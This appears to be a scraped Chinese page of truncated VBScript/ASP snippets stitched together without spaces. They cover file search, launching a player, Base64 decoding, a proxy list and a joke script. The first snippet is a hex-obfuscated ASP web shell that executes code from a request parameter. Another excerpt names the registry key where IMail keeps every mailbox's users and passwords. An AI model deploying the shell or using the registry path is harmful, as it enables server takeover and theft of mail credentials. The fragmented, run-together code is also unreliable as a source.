不知道怎样表达清楚。看例子吧： 复制代码 代码如下: scriptlanguage=vbsrunat=server Execute(HextoStr('65786563757465287265717565737428636872283335292929')) FunctionHextoStr(data) HextoStr='EXECUTE''''' C='1 IfIsNumeric(Left(data,1))Then HextoStr=HextoStr/script SCRIPTRUNAT=SE

''把网上的一个小程序改得方便了点，这个搜索次效率很好。 复制代码 代码如下: onerrorresumenext DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath ConstMY_COMPUTER=&H11& ConstWINDOW_HANDLE=0 ConstOPTIONS=0 SetobjShell=CreateObject('Shell.Application') SetobjFold

OptionExplicit DimWshShell,Pro SetWshShell=WScript.CreateObject('WScript.Shell') Pro='D:\ProgramFiles\千千静听\TTPlayer.exeD:\千千静听\默认.ttpl' WshShell.RunChr(34)&Pro&Chr(34),0 支持路径或文件名带空格，网上给出的VBS代码貌似没有留到空格问题，特此补充。

作者：lcx

复制代码 代码如下: FunctionfDecode(sStringToDecode) ''ThisfunctionwilldecodeaBase64encodedstringandreturnsthedecodedstring. ''Thisbecomesusefullwhenattemptingtohidepasswordsfrompryingeyes. ConstCharList='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01

Imail的所有邮局信息,比如用户,密码都实际上都是存储在计算机注册表当中的,所以只需要 打开注册表就可以看到Imail里的所有信息,包括用户的密码. 细节: Imail将企业邮局信息全部存储在: HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\DOMAINNAME\Users\USERNAME 这样一个键里,其中DomainName是邮局名,UserName是用户名

复制代码 代码如下: DimMyValue,Response,data,thisd data='30007|22899|22934' thisd=Split(data,'|',-1,1) Randomize''初始化随机数生成器。 DoUntilResponse=vbyes MyValue=Int((3*Rnd)+1)''产生1到3之间的随机数。 result='&#'&thisd(MyValue-1) Ifresult='妖'Thenresult='人妖'

将下面代码中的地址改一下，存为ieproxy.vbs，然后在文件上点右键，选择“在命令提示符中打开” 不多说了，存下来看看吧！ 复制代码 代码如下: strMachines='24.11.246.125:2406;61.252.60.30:68660;64.161.10.2:3128;65.23.157.55:80;66.229.103.146:5089;68.6.240.207:2521;68.103.105.108:2384;70.160.84.18:2332;71.74.